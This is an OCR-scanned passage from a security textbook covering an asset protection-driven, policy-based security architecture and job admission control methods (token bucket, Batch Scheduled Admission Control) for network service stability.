during theattack assessment. It usually takestimefor software or security product vendors(e.g.,
Microsoft) to identify the vulnerabilities exploited by previously unknown attacks and devel op
solutions for them. For example, the LiveUpdate support offered by Symantec Corporation
currently provides updates of vulnerabilities and other attack information every two weeks.
Attack response in a quick, automotive manner still remains a challenge.
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2.4 SUMMARY
This chapter reviews three areas to protect the security of a computer and network system:

e prevention;
e detection;
® response

along with some examples of technologiesin each area. This chapter also outlinesthe research
work which is covered in detail in Parts 111-V11 and is summarized below:

Part |1, Chapters 3-6: secure system architecture and design, including an asset protection-
driven security architecture, policy-based security protection, and new methods of job ad-
mission control, job scheduling and job reservation on computers and networks;

Part I11, Chapters 7-11: mathematical/statistical features and characteristics of attack and
normal use data;

Part 1V, Chapters 12—13: the signature recognition methodology of cyber attack detection
using data clusters and ANN;

Part V, Chapters 14-15: the anomaly detection methodology of cyber attack detection using
statistical anomaly detection and data clustering;

Part VI, Chapters 16—17: the attack horm separation methodol ogy of cyber attack detection
using the cuscore detection models which employ mathematical and statistical models of
both attack and normal use data to cancel the effect of normal use datain the mixed attack
and norm data and identify the presence of attack datain the residual data;

Part VII, Chapter 18: security incident assessment, including an optimization method to
select the smallest set of attack data characteristicsthat uniquely identify arange of attacks,
and the attack profiling method to spatially and temporally correlate events of a security
incident.
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Part ||

Secure System Architecture and Design

In Part I, security risks of computer and network systems are analyzed by examining three
risk elements: assets, vulnerabilities and threats. Part |1 describes system architectures and
designs which enhance the security strength of computer and network systems by protecting
or correcting system vulnerabilities to reduce security risks.

Considering that security holes and thus system vulnerabilities exist in system and applica
tion software due to faults in software specification, design, coding and testing, a new Asset
Protection Driven Security Architecture (APDSA) isintroduced in Chapter 3. The APDSA is
developed based on a proactive asset protection driven paradigm of security protection. The
paradigm defines digital security policieswhich govern asset attributes, secure relationships of
asset attributes, and consistent relationships of policies themselves, to provide alayer of pro-
tection against possible system vulnerabilities which can be exploited by known or unknown
security threats. Digital security policies are enforced by monitoring, detecting, analyzing and
controlling violations of digital security policiesin the form of mismatches of asset attributes
and cause—effect chains of attribute mismatches.

Chapter 4 introduces anew admission control method applicable to instantaneous computer
and network jobs, Batch Scheduled Admission Control (BSAC). BSAC demonstrates its ad-
vantage in service stability to correct the design of fault no admission control in the best effort
service model which introduces system vulnerabilities exploitable by DoS attacks. An existing
admission control method, the token bucket model applicable to computer and network jobs
with continuous data flows, is also described in Chapter 4.

Chapter 5 presents job scheduling methods to replace FIFO in the best effort service model
which contributes to system vulnerabilities exploitable by DoS attacks. Chapter 5 illustrates
the advantage of the Weighted Shortest Processing Time (WSPT) method, which originated
in production planning in the manufacturing domain, in service differentiation. The WSPT-
Adjusted (WSPT-A) method is developed to add service stability to service differentiation
in WSPT. Chapter 5 also describes the new Verified Spira (VS) and Balanced Spira (BS)
job scheduling methods which schedule jobs on a single service resource to achieve ser-
vice stability by minimizing the variance of job waiting times, along with Dynamic VS
(DVS) and Dynamic BS (DBS) which schedule jobs on parallel identical resourcesfor service
stability.

As more business transactions move online, it has become imperative to provide the QoS
assurance on the Internet which does not currently exist. Chapter 6 first reviews the existing
InteServ model and the corresponding protocol, RSV B, which are applicable to continuous
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flow jobs to provide the end-to-end delay guarantee. Chapter 6 then introduces a new In-
stantaneous Resource reSerVation Protocol (I-RSVP) and a Stable Instantaneous Resource
reSerVation Protocol (SI-RSVP) that have been developed to manage instantaneous jobs
and meet their end-to-end delay requirements. The BSAC method of admission control de-

scribed in Chapter 4 is employed in SI-RSVP to obtain service stability of individual service
resources.



3

Asset protection-driven,
policy-based security protection
architecture

A threat-driven security protection paradigm isusually employed in commercia security prod-
ucts and systems. This chapter introduces a new, asset protection-driven security paradigm to
overcomethelimitation of the threat-driven security protection paradigm. Security policiesand
an asset protection-driven security architecture, which enable the new paradigm, are described.

3.1 LIMITATIONS OF A THREAT-DRIVEN SECURITY
PROTECTION PARADIGM

Security protection solutions, such as firewalls and IDS, have typically been added onto an
existing computer and network system to enhance its security [1]. These add-on security
protection solutions, such as commercial security productsin [2-12], usually employ athreat-
driven security protection paradigm. Specifically, the threat-driven security protectionrelieson
the knowledge base of known security incidents from which eventsin those security incidents
are derived and data is taken from a specific computer and network platform (e.g., Windows,
Linux, or UNIX-based operating system) to detect those events. Hence, the knowledge about
incidents, events and data is derived in a top-down manner as shown in Figure 3.1. When
a new kind of security incident is identified, events and data involved in the new security
incident are derived, and the new knowledge about the incident, events and datais added to the
knowledge base.

Security protection solutions using the threat-driven security paradigm protect a computer
and network system against only alimited number of known threats. Asdiscussed in Chapter 1,
the set of all system vulnerabilities is expected to be much larger than the set of known vul-
nerabilities exploited in known threats. Hence, the threat-driven security protection paradigm
has alimited threat coverage.

Secure Computer and Network Systems: Modeling, Analysisand Design  Nong Ye
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Figure3.1 The top-down formation of knowledge about incidents, events and datain a threat-driven
security protection paradigm.

Moreover, data collected from existing facilities and tools on computer and network plat-
forms may not be sufficient or efficient enough to detect specific eventsin known security inci-
dents. For example, as discussed in Chapter 2, header fields of network data packets are often
collected for cyber attack detection. However, header fields of network data packetswereorigi-
nally designed for controlling and coordinating data communication over networks, rather than
detecting security events. Not all header fields of data packets are useful in detecting security
events. Sinceattacks can occur intermittently, skipping adatapacket while monitoring network
traffic data can result in missing a critical attack step. This requires continuously monitoring
all data packets and thus processing massive amounts of network data packets which contain
much irrelevant information and present a challenge in achieving detection efficiency. Collect-
ing specific, relevant network data is more efficient than collecting all network data packets.

3.2 ANEW, ASSET PROTECTION-DRIVEN PARADIGM
OF SECURITY PROTECTION

A new, asset protection-driven paradigm of security protection aims to protect computer and
network assets and their vulnerabilities, regardless of what threats may be present to attack
the assets and exploit their vulnerabilities. That is, the new paradigm focuses on assets and
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vulnerabilitiesrather than threatsin the asset risk framework defined in Chapter 1. Specifically,
the asset protection-driven security protection takes assets and asset attributes as data to mon-
itor, mismatches of asset attributes as events to detect, and cause—effect chains of mismatch
events as incidents to analyze and respond. Data, events and incidents in the asset protection
driven paradigm of security protection are described below.

3.2.1 Datato monitor: assets and asset attributes

The asset risk framework defined in Chapter 1 provides a new structure to define the data
to monitor when protecting computer and network assets. Assets and asset attributes in the
asset risk framework capture a comprehensive set of activities, state changes and performance
changes on acomputer and network system. Assets and asset attributes record data evidence of
activities, state changes and performance changesthat occur on various computer and network
assets in the cause—effect chain of an attack. Hence, assets and asset attributesin the asset risk
framework provide data to monitor from the perspective of protecting computer and network
assets.

3.2.2 Eventsto detect: mismatches of asset attributes

By monitoring the data of assets and asset attributes, eventsto detect are defined as mismatches
of asset attributes in the asset protection driven paradigm of security protection, because mis-
matches of asset attributesindicate the presence of vulnerabilities. That is, detecting mismatch
events of asset attributes provides security protection against vulnerabilities, rather than se-
curity protection against limited known threats, as in the threat-driven security protection
paradigm.

Take an example of abuffer overflow vulnerability of aweb server process. An indicator of
thisvulnerability isamismatch between two attributes of the process asset: Process\ |nput rep-
resenting the input to the process and PROCESS\ Configuration\ Availability\ Storage\ I nput
representing the available capacity configuration of the storage for the input of the process.
Take another example of avulnerability dueto an origin validation error which can be expl oited
by the threat of a spoofing attack through email phishing. The threat involves two assets, the
PROCESS of receiving an email and the PROVIDER of the email. In thisthreat, the process of
receiving an email has an input field containing the identity of the email’s provider which does
not match the true identity of the email provider—the origin of the email. Hence, an indicator
of the vulnerability is a mismatch event between two asset attributes, PROCESS\ Input and
PROVIDER\ Identity. In this example, asset attributes, which produce a mismatch, come from
more than one asset.

Detecting mismatches of asset attributes as indicators of vulnerabilities, i.e. has advantages
over detecting system design, coding and configuration faults as causes of vulnerabilitiesin
generality, robustness, adaptability and consistency of security protection. Detecting system
design, coding and configuration faults has to deal with specific details of the system design,
coding and configuration which vary with different computer and network systems running
on specific computer and network platforms with specific applications, program implemen-
tations, etc. In contrast, detecting mismatches of asset attributes in the asset risk framework,
which can be defined independent of specific system details, enables generality, robustnessand
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adaptability of security protection. Moreover, detecting mismatch events of asset attributes can
be performed in the run time of computer and network operations, enabling system design,
coding and configuration faults to be examined and captured all at the same time in a con-
sistent, comprehensive manner. Hence, the run-time detection of mismatch events provides a
comprehensive, consistent protection against various faults and resulting vulnerabilitieswhich
areintroduced at different pointsin the system life cycle.

3.2.3 Incidentsto analyze and respond: cause—effect chains
of mismatch events

A security incident consistsof aseriesof mismatch eventsin acause—effect chain on acomputer
and network system. Hence, incidentsto analyze and respond must link and correl ateindividual
events of asset attributes which are parts of a security incident, producing an accurate picture
of the incident’s cause—effect chain with information about the incident’s origin, path, impact
and development. That is, asecurity incident is defined as a cause—effect chain of asset attribute
mismatch events produced by athreat attacking the system assets through exploiting system
vulnerabilities.

3.2.4 Proactive asset protection against vulner abilities

Monitoring assets and asset attributes defines the scope of security protection in the new
paradigm of asset protection driven security protection. Detecting mismatch events of asset
attributes defines the focus of security protection in the new paradigm. As soon as a mis-
match event of asset attributes is detected, a pending computer/network operation producing
the mismatch can be blocked from execution, which protects the system security in aproactive
way. For example, before aweb processin response to aweb request is executed, the process
is examined to determine if it presents a mismatch between Process\Input and PROCESS\
Configuration\ Availability\ Storage\ Input, which is an indicator of arisk from a buffer over-
flow attack. If this mismatch is present, the web process can be halted and the web request
can berejected to prevent the buffer overflow attack. Correlating a series of blocked mismatch
events, which might be parts of an attempted attack, can reveal the risk of a security inci-
dent which will trigger system responses of strengthening its security and investigating and
correcting the causes of the vulnerabilities leading to the mismatches.
Hence, proactive asset protection against vulnerabilities has the following components:

e monitor data of assets and asset attributes;
e detect mismatch events of asset attributes;
e block pending computer and network operations which produce mismatch events,

e analyze the risk of a security incident by correlating a series of blocked mismatch events,
and call for a system response of strengthening the system security and investigating and
correcting vulnerabilities which lead to mismatch events if necessary.
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3.3 DIGITAL SECURITY POLICIESAND POLICY-BASED
SECURITY PROTECTION

This section first introduces digital security policies, followed by components of policy-based
security protection.

3.3.1 Digital security policies

Policy-based security protection enables the proactive asset protection paradigm of security
protection by defining and enforcing digital security policies which govern asset attributes,
the relationships of asset attributes, and the relationships of policies themselves, for security
protection of system assets. Hence, digital security policies are applied to assets and asset
attributesin acomputer and network system to provide alayer of proactive security protection.
Policy-based security protection includes monitoring, detection, analysis and control of the
following:

e Asset and asset attribute data: assets and asset attributes provide data that captures activity,
state and performance on a computer and network system.

e Mismatch events: events of asset attribute mismatches indicate violations of digital security
policies which are attributed to asset vulnerabilities and their exploits by threats during
run-time operations on computer and network assets.

e Incidents. cause—effect chains of mismatch events provide a complete picture of security
risks from attempted security incidents.

e Courses Of Action (COA): COA controls mismatch events and security incidentswhich pose
security risks to assets of a computer and network system.

Specifically, digital security policies define compatible matches of asset attributes which
must be enforced for policy-based security protection of system assets. For example, the
following is an example set of security policies which are specified for protecting system
assets against the security risk of accessing assets through the threat of abuffer overflow attack
when a computer or network process is running and taking the input from a user:

Asset: PROCESS
Asset attribute: Input

Asset attribute: Configuration\ Availability\ Storage\ I nput
Security Policy 1: PROCESS\ Configuration\ Availability\ Storage\Input = N characters

Security Policy 2: PROCESS\ |nput matches
PROCESS\ Configuration\Availability\ Storage\ I nput.

Security Policy 1 governs only one asset attribute, PROCESS\ Configuration\ Availability\
Storage\ Input, and sets the allocated available storage capacity on the computer to hold the
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input of a given process at an appropriate level of N characters. Security Policy 2 governsthe
compatible relationship of two asset attributes between PROCESS\Input and PROCESS\
Configuration\Availability\Storage\Input. In the threat of a buffer overflow attack,
PROCESS\ Input is greater than PROCESS\ Configuration\Availability\ Storage\ Input, pro-
ducing a mismatch between these two asset attribute which violates Security Policy 2. The
‘greater than' relationship is just one quantitative form of the mismatch between these two
asset attributes which appears in the threat of a buffer overflow attack exploiting a possible
buffer overflow vulnerability. The qualitative definition of the mismatch between these two
asset attributes may take other quantitative formsin different types of threats, including even
unknown types of threats. That is, the qualitative definition of the match defined in Security
Policy 2 and specific quantitative measures of the attribute mismatch as the violation of the
security policy can be used to cover various forms of the mismatch which are not limited to
those encountered in known threats.

Therefore, Security Policy 1 and Security Policy 2 work together to protect system as-
sets from a generic type of security risks involving the mismatch between PROCESS\
Input and PROCESS \ Configuration\ Availability\ Storage\ Input, by first setting PROCESS\
Configuration\ Availability\ Storage\Input to an appropriate level for a given enterprise
environment and then requesting the compatible match between PROCESS\Input and
PROCESS\ Configure\ Availability\ Storage\ Input. The protection given through these two
security policies against this generic type of security risks is applicable to any system or ap-
plication process regardless of the specific functionality, implementation and trustworthiness
of the system or application process. Just like Security Policy 1 and Security Policy 2, digital
security policies can be specified against all possible security risks rather than limited known
threats. This produces the robustness of digital security polices and policy-based security pro-
tection. Moreover, just like Security Policy 1, digital security policies can be constituted to
flexibly adapt to a specific computer and network system and its operations, resulting in the
adaptability of constituting digital security policies and policy-based security protection to
meet the specific needs of the system. Therefore, digital security policies and policy-based se-
curity protection provideageneric, robust, flexible and adaptabl e sol ution to protect acomputer
and network system from security risks.

The following is an example of digital security policies addressing relationships between
two assets:

Asset: PROCESS
Asset: PROVIDER (USER-type asset)
Asset attribute; PROCESS)\ Input

Asset attribute: PROVIDER\ | dentity
Security Policy 3: PROCESS\ Input matches PROVIDER\ | dentity.

Inthethreat of aspoofing attack for phishing and spam viaemail, the PROCESSof receiving an
email has an Input field describing the identity of the email’s provider which does not match
the true Identity of the PROVIDER, resulting in a mismatch between PROCESS\ Input and
PROVIDER\ Identity—a violation of Security Policy 3.

Meta policies are constituted to govern relationships of security policies themselves. Se-
curity Policy 4 below is an example of digital security policies addressing relationships of
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policies themselves:

e Security Policy Set A: determines the settings for PROCESS\ Availahility.
e Security Policy Set B: sets PROCESS\ Performance.
e Security Policy 4: Security Policy Set A matches Security Policy Set B.

Security Policy 4 states that Security Policy Set A governing the settings of the available
capecities for a process must be compatible with Security Policy Set B governing the settings
of performance for the process. If a setting of the available capacities in Security Policy Set
A could not produce the desired performance level in the settings of Security Policy Set B,
this would produce a mismatch between Security Policy Set A and Security Policy Set B—a
violation of Security Policy 4.

In summary, digital security policies specify matches of asset attributes required for the
protection of system assets against all possible security risks. Asset attribute mismatchesindi-
cate violations of digital security policies. Digital policies represent which activity, state and
performance a computer and network system should follow, whereas asset attributes capture
which activity, state and performance the computer and network system is actually follow-
ing. Violations of digital security policies by system activity, state and performance actually
occurring present security risksto system assets.

The following are the major types of asset attribute matches and mismatches which should
be considered:

e match and mismatch of asset attributes with their descriptions in the metadata for those
attributes;

e match and mismatch of configuration (what is configured) with accounting (what occurs
and isrecorded);

e match and mismatch of one asset’s attributes with corresponding attributes of related assets;

e match and mismatch among configuration attributesthemsel ves, accounting attributesthem-
selves, and digital policies themselves.

3.3.2 Poalicy-based security protection

Digital security policies are enforced through policy-based security protection which includes
monitoring asset attribute data, detecting mismatch events, analyzing risks of security incidents
with cause—effect chains of mismatch events, and controlling COA in response to mismatch
events and risks of security incidents. Specifically, assets and asset attributes provide data
which captures activities, state changes and performance changes in a computer and network
system. Asset attribute datais monitored to detect run-time mismatch eventsindicating viola-
tions of digital security policies by activities, state changes and performance changes on the
computer and network system. Analyzing therisk of a security incident by correlating related
mismatch events in the cause—effect chain of the incident provides threat tracking and pre-
diction, assessment of system vulnerabilities, state and impact, and consequently an accurate,
complete assessment of the security risk. The result of the incident risk analysis becomes the
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key input to planning and controlling COA in response to the risk of a security incident. That
is, policy-based security protection includes the monitoring, detection, analysis and control of
the following:

® asset attribute data;

e mismatch events (events of security policy violations);

e security incidents with cause—effect chains of mismatch events;
e COA.

3.4 ENABLING ARCHITECTURE AND METHODOLOGY

The section introduces a new Asset Protection Driven Security Architecture (APDSA) which
enables digital security policies and policy-based security protection, as well as an Insider-
Out-Outside-1n methodology of forming data, event and incident knowledge in the APDSA.

3.4.1 An Asset Protection Driven Security Architecture (APDSA)
The core of the APDSA shown in Figure 3.2 includes the qualitative structure and elements:

® assets and asset attributes;
e digital security polices;

o attribute mismatch events which are derived from violations of digital security policies,

in generic classes with default instances, along with core policy management and control
capabilities.

The core is generic and thus stable over time, and can be built on existing computer and
network platforms (e.g., Windows, Linux, Unix, etc.) by wrapping them with middleware
software to pull raw data from these platforms and map raw data to data of assets and asset
attributes in the core. Asset attributes in the core are then used to detect events of asset
attribute mismatches. The generic, stable core can aso be implemented by software vendors
as embedded components of their computer and network platforms.

For each data or event element in the core defined in a qualitative structure and form, there
may be one or more quantitative forms or measures of that element. For example, the mismatch
between PROCESS\ Input and PROCESS\ Configuration\ Availability\ Storage\Input in the
core isaqualitative definition, but can take the quantitative form of ‘ greater than’ in the threat
of a buffer overflow attack as described Section 3.3, or other quantitative forms (e.g., ‘ N-
character less than') in different known threats or risks of future unknown threats. For any
specific security incident, the mapping of the incident to specific quantitative measures of
asset attribute data and mismatch events in the incident is specific for the incident. Note that
one quantitative measure of a data or event element may appear in more than one incident.

The generic, qualitative form of data and events in the core of the APDSA plays the role
of bridging from raw data on a specific computer and network platform (e.g., Windows) to
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Figure3.2 An Asset Protection-Driven Security Architecture (APDSA).

specific quantitative measures of generic asset dataand mismatch eventswhich areencountered
in specific incidents. This bridging role of generic data and events in the core of the APDSA
is similar to the role which a generic, high-level programming language such as an object-
oriented programming language plays in bridging from an assembly language on a specific
computer and network platform to various specific computer and network applications such as
email, web browsing, text editing, etc. Hence, having the generic, qualitative form of dataand
eventsin the core of the APDSA introducesthe similar advantages of ahigh-level programming
language in completeness, generality, robustness, flexibility and adaptability.

3.4.2 An Inside-Out and Outside-In (100I) methodology of acquiring
knowledge about data, events and incidents

The APDSA needs to be populated with asset attribute data, mismatch events and security
incidents to enable policy-based security protection which monitors data of asset attributes,
detects events of attribute mismatches, analyzes risks of security incidents with cause—effect
chains of mismatch events, and controls COA for incident and risk remediation. Because of the
generic, complete, robust nature of the qualitative form of asset attribute data and mismatch
eventsin the core of the APDSA, an Inside-Out and Outside In (100I) methodology (shown
in Figure 3.2) of acquiring knowledge about data, events and incidents can be adopted with
the following steps:

1. Establish the generic, qualitative form of assets, asset attributes, digital security policies,
and mismatch events derived from violations of digital security policiesto populatethe core
of the APDSA.
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2. Establish quantitative measures of each dataor event element inside the core of the APDSA,
thus taking the inside out.

3. Link each specific incident at the outside to quantitative measures of mismatch events in
the cause—effect chain of that incident, thus bringing the outside in.

3.5 FURTHER RESEARCH ISSUES

There are additional research issues which must be resolved to enable policy-based security
protection in the APDSA.. The following sections discuss some of those research issues.

3.5.1 Technologies of asset attribute data acquisition

Not all data sources on a specific computer and network system are trustworthy. For example,
theidentity of an email’s provider, which isavailablein the email data, may not reveal thetrue
identity of the email’s provider. Hence, pulling raw data from sources on a specific computer
and network platform will require technologies of verifying data from possibly untrusted
sources before mapping such data to assets and asset attributes in the core of the APDSA, in
order to ensure that assets and asset attributes will have ground-truth values in the core of the
APDSA. For example, the identity of an email’s provider must be verified before feeding this
value to the corresponding asset attribute in the core of the APDSA. A number of existing and
emerging technologies, such as digital signature and certificate [13—-14] and network finger
printing, can be employed to build trusted sources and mechanisms for asset attribute data
verification.

Itislikely that existing data auditing facilities on various computer and network platforms
(e.g., Windows) do not provide sufficient data which correspond to all asset attributes in the
core of the APDSA.. Researchisrequired to analyze and identify gapsin existing dataauditing
facilities on computer and network platforms in meeting the requirements of asset attribute
data. Based on the gap analysis, middleware technologies will need to be developed to wrap
existing computer and network platformsto pull data from those platforms and fill in the data
gapsto feed to asset attributes in the core of the APDSA.

3.5.2 Quantitative measures of asset attribute data and mismatch events

Asdiscussedin Chapter 2andin[15], different threatsmay manifestin different featuresof even
the same data stream of an asset attribute (see Part 111 for more details). Different featuresof the
same data stream of an asset attribute may a so berequired to define different types of mismatch
events. Furthermore, a mismatch event in different threats may have different quantitative
measures which are used to identify those different threats, as discussed in Sections 3.3 and
3.4. Hence, given the qualitative form of a data or event element in the core of the APDSA,
guantitative measures of that element will need to be established to support the Outside-In
mapping from specific threats to quantitative measures of asset attribute data and mismatch
events for the security risk assessment of incidents.
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The investigation of quantitative measures of asset attribute data and mismatch events can
be based on the IOOI methodology with the following steps:

1. Outside-In (Ol): start with existing known threats to first analyze and derive quantitative
measures of asset attribute dataand mismatch eventsinvolved in thosethreatsthrough threat
datacollection, analysis, mining and discovery, and then classify and generalize quantitative
measures of asset attribute data and mismatch events.

2. Inside-Out (10): map the qualitative form of asset attributes and mismatch eventsin the core
of the APDASto the generalized quantitative measures of asset attribute data and mismatch
events from Step 1.

3.5.3 Technologies for automated monitoring, detection, analysis and
control of data, events, incidentsand COA

Asdiscussedin Sections 3.3 and 3.4, policy-based security protection consists of thefollowing:

e monitoring data of asset attributes which capture activities, state changes and performance
changes occurring during run-time operations of a computer and network system;

e detecting events of asset attribute mismatches;
e analyzing cause—effect chains of mismatch events to assess risks of security incidents;

e controlling COA for incident and risk remediation;

all in an automated manner which is required to perform the above functions within a short
time period of athreat that poses a security risk.

For existing known threats, knowledge about data, events, incidents and COA can be dis-
covered and established through threat data collection, analysis, mining and discovery. With
knowledgeabout specific data, events, incidentsand COA for thosethreats, existing knowledge-
based technologies such as rule-based or case-based systems can be employed to enable the
automated monitoring, detection, analysis and control of data, events, incidents and COA for
policy-based security protection against known threats. Technologieswill berequired to enable
the automated monitoring, detection, analysis and control of data, events, incidents and COA
for policy-based security protection against security risks from unknown threats whose data,
events, incident risk and COA cannot befully recognized dueto lack of knowledge about those
threats.

3.6 SUMMARY

Thischapter introducesanew, proactive asset protection driven paradigm of security protection
against system vulnerabilities, which overcomes the shortcomings of a threat-driven security
protection used by most security systems and commercial products. In the new paradigm,
assets and asset attributes provide data to monitor. Asset attribute mismatches, which indicate
the presence of vulnerabilities, define eventsto detect. Cause—effect chains of mismatch events
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are the basis of analyzing and responding to risks of security incidents. Policy-based security
protection and its enabling architecture—APDSA —which are derived from the new paradigm,
are described with examples of security policiesto govern asset attributes, relationships of as-
set attributes, and relationships of policies themselves, for security protection of system assets
against vulnerahilities. TheInside-Out-and-Outside-In (100I) methodol ogy of forming knowl-
edge about data, events and incidents in the APDSA is also presented. Finally, the following
research issues, which must be resolved for building an APDSA system, are discussed:

e Technologies of asset attribute data acquisition, including:
o Trusted sources and mechanisms to provide ground-truth values of asset attributes;

o Additional data sources along with existing data sources on computer and network plat-
formsto feed all required asset attribute data to the APDSA;

o Middleware to pull asset attribute data from computer and network platforms;

e Quantitative measures of mismatch events and features of asset attribute data which are
required to define mismatch events,

e Technologies of automated monitoring, detection, analysis and control of data, events, inci-
dents and COA for policy-based security protection in the APDSA.

Current solutions of security protection are reactive since they rely on patches of system
vulnerabilities discovered after security threats and incidents. The new asset protection driven
paradigm of security protection will enable a proactive solution to protect computers and net-
worksagainst security risksby addressing awiderange of system vulnerabilitiesdirectly, rather
than limited known threats which exploit asubset of system vulnerabilities. Hence, in contrast
to the threat-driven protection, the asset protection driven paradigm will protect computer and
network assets against all possible security risks which are not limited to those from known
threats, by constituting digital security policies and enabling policy-based security protection.
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Job admission control for
service stability

Asdiscussed in Chapter 1, no job admission control inthe best effort service model of computer
and network resources is one of the major design faults which introduces vulnerabilities and
associated security risks (i.e., from DoS threats) on computer and network systems. This
chapter first reviews two service models which have been widely considered to overcome
the problems of the best effort service model, differentiated service (DiffServ) model and
integrated service (InteServ) model, along with the token bucket method of admission control
employed in these service models for continuous flow jobs. Then this chapter presents an
admission control method, Batch Scheduled Admission Control (BSAC), which is devel oped
to address the service stability for instantaneous jobs.

4.1 A TOKEN BUCKET METHOD OF ADMISSION CONTROL
IN DIFFSERV AND INTESERV MODELS

DiffServ is a per-aggregate based service model [1-3]. In the DiffServ model, a network
consists of domains. A router at the edge of a domain, the edge router, classifies, marks and
aggregates traffic data or jobs entering the domain by service priority. Typically, two classes
of service priority are considered [2]: high priority and low priority, producing two separate
traffic aggregates. Each core router inside the domain then provides service differentiation by
providing the premium serviceto the aggregate of high priority traffic and serving the aggregate
of low priority traffic on the best effort basis.

Figure 4.1 shows a basic DiffServ architecture which handles two classes of traffic in a
core router [2]. Two queuing buffersin this architecture, high priority queuing buffer and low
priority queuing buffer, are used to keep admitted traffic databefore their transmission through
the output port of the network interface. These two queuing buffersplay akey rolein enforcing
service differentiation between two classes of traffic aggregates. Admitted high priority data
packets are placed into the high priority queuing buffer, and form a queue there. Incoming low
priority data packets are placed into the low priority queuing buffer. The output port transmits
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Figure4.1 A basic DiffServ architecture for a core router.

traffic datain the high priority queuefirst, and servestraffic datain the low priority queue only
when the high priority queue is empty. Typically, the First-In-First-Out (FIFO) scheduling
method is used to determine the order of serving data packets in each queue. The sizes of
the two queuing buffers are determined based on factors such as traffic characteristics and
bandwidth allocation between two classes of traffic data. The high priority queuing buffer is
typically set to asmall sizein order to limit the delay of transmitting high priority traffic data.

In this architecture, a high priority data packet is dropped by the router if there is not
enough space in the corresponding queuing buffer to hold the data packet. Hence, admission
control isapplied to high priority traffic for shaping admitted high priority traffic to ensure that
the avail able service capacity (e.g., data transmission bandwidth and queuing buffer space) is
sufficient to provide the premium service to admitted high priority traffic in terms of bounded
delay. There is no need for admission control for low priority traffic data for the following
reasons. First, low priority traffic data does not compete with high priority traffic data for the
service capacity of the router. Second, dropping low priority data packets through admission
control or dueto afull low priority queue makes little difference to the service of low priority
traffic.

A common admission control method of shaping traffic isthe token bucket model [2] which
considers two basic characteristics of traffic aggregate: traffic flow rate and traffic peak rate.
The token bucket model performs admission control using two parameters: token rate r and
bucket depth p. Token rater determines the flow rate of admitted traffic, and bucket depth p
sets the maximum burst amount of admitted traffic. The token bucket model makes admitted
traffic compatible with the bandwidth capacity of the output port through the token rate and
with the capacity of the high priority queuing buffer through the bucket depth. Admission
control rejects and drops any incoming data packet which makes the token rate and the bucket
depth of admitted traffic exceedr and p, respectively. In[3], afeedback control mechanismis
added to the basic Diff Serv architecture shown in Figure 4.1 to enable an adaptive token rate,
r, to achieve atrade-off between resource allocation and packet |oss.

The DiffServ model aims at service differentiation according to service priority and bound
of service delay by setting a small size on the high priority queuing buffer and admitting high
priority traffic to be compatiblewith the service capacity of therouter. Servicedifferentiationin
the Diff Serv model contrasts with no service differentiation in the best effort service model in
which all datapacketsare served accordingtotheir arrival timerather thantheir servicepriority.
The token bucket model of admission control guarantees the premium service to admitted
high priority traffic which is compatible with the available service capacity, in contrast to no
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admission control in the best effort service model which can lead to denial of serviceto high
priority traffic.

The InteServ model [3-6] is designed to provide the service guarantee for continuous flow
jobs with a stringent requirement for Quality of Service (Qo0S). A continuous flow job has
a data flow lasting a period of time, e.g., the job of transmitting audio and video data in a
teleconferencing session. A flow is‘a distinguishable stream of related datagrams that results
from a single user activity and requires the same QoS' [4]. A flow is often characterized by
bandwidth (flow rate), peak rate, etc. The required bandwidth of a given flow is guaranteed
in the InteServ model by requiring an end-to-end bandwidth reservation. Hence, InteServ isa
per-flow-based service model.

Figure4.2 showsabasic InteServ architecturein the Resource reSerVation Protocol (RSVP)
[7] for a router which is a hop on the path of an end-to-end bandwidth reservation. In this
architecture, a separate queue is required to hold data packets for each flow. Traffic control
ensures that incoming traffic of each flow conforms to flow characteristics which are used
to make the bandwidth reservation for the flow. Traffic control includes traffic policing and
shaping. The token bucket model of admission control is one of traffic control methods for
traffic policing and shaping. Some other methods of traffic control are discussed in [3, 8].

Since each flow has its state information (e.g., bandwidth, delay, etc.), large amounts of
state information must be maintained for many flows passing through an intermediate router,
especially a backbone router. A sophisticated scheduling algorithm is also required to pick a
gueue from which data packets are taken out at agiven timefor data transmission at the output
port, while meeting the bandwidth and delay requirements of all flows with reservation. The
management overhead of the InteServ model, including large amounts of flow stateinformation
and processing time in packet scheduling, produces the scalability problem of employing the
InteServ model in large-scale computer networks.

4.2 BATCH SCHEDULED ADMISSION CONTROL (BSAC) FOR
SERVICE STABILITY

This section first explains the need for service stability which is targeted by the new admis-
sion control method for instantaneous jobs, BSAC. BSAC is then described, followed by the
discussions on the testing performance of BSAC.
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4.2.1 Service stability in servicereservation for instantaneousjobs

The token bucket model of admission control is based on two parameters of token rate and
bucket depth, which are applicable to continuous flow jobs. Some applications on computer
networks al so produce instantaneous jobs, such as the job of transmitting an email, which are
not addressed in the token bucket model. An instantaneous job has a given job size (e.g., the
data size of an email), and can have an end-to-end delay requirement.

Regardless of the type of given job (a continuous flow job or an instantaneous job), making
a service reservation for the job is the only way of guaranteeing the end-to-end delay of the
job on the Internet which has many jobs coming from many sources at any given time, al
competing for a given router on the end-to-end path of the given job. The service reservation
in the InteServ model ensures satisfaction of a major characteristic of a continuous flow job,
the flow rate. Making the bandwidth reservation at each router on the end-to-end path of the
continuous flow job guarantees satisfying the timeliness requirements (e.g., delay and jitter)
of thejob.

Making a service reservation for an instantaneous job at a given router on the end-to-end
path of the job should aim to assure the time which the job spends at the router. The time of the
instantaneous job at the router consists of two parts: job waiting time and job processing time.
Job processing time is made up of primarily the data transmission time or the service time
which the router takes to transmit the data of the job at the output port. The data transmission
time is determined by the job size. Other processing times, such as the time of searching
the routing table for the next hop of the job with a given destination, are relatively small in
comparison with the datatransmission time, and thus are ignored. Assuming anon-preemptive
service of ajob, job waiting time is the time from when ajob is admitted to the router to when
the transmission of the job starts. A non-preemptive service means that the service of the job
cannot be interrupted until the service is completed.

Since job processing time is determined mostly by the job size, job waiting time is the
only part of the job’s time in the router which is under control for service assurance. Various
objectives regarding job waiting time can be pursued. A common objective is to minimize
the mean of job waiting times for a population of jobs. However, minimizing the mean of job
waiting times for a population of jobs has little to do with assuring the waiting time of a given
instantaneous job in the population of jobs because the waiting time of that individual job can
be much larger than the mean waiting time for the population of jobs.

Minimizing thevariance of job waiting timesismoreimportant than minimizing the mean of
job waiting times for stability of job service at each router when making a service reservation
for a given instantaneous job at each router on the end-to-end path of the job. The service
reservation at each router requires an estimate of the job's total time at the router in order to
determine if the end-to-end delay requirement of the job can be satisfied. An estimate of the
job’s total time at the router is computed by adding an estimate of the job’s waiting time and
an estimate of the job’s processing time which can be readily determined from thejob size and
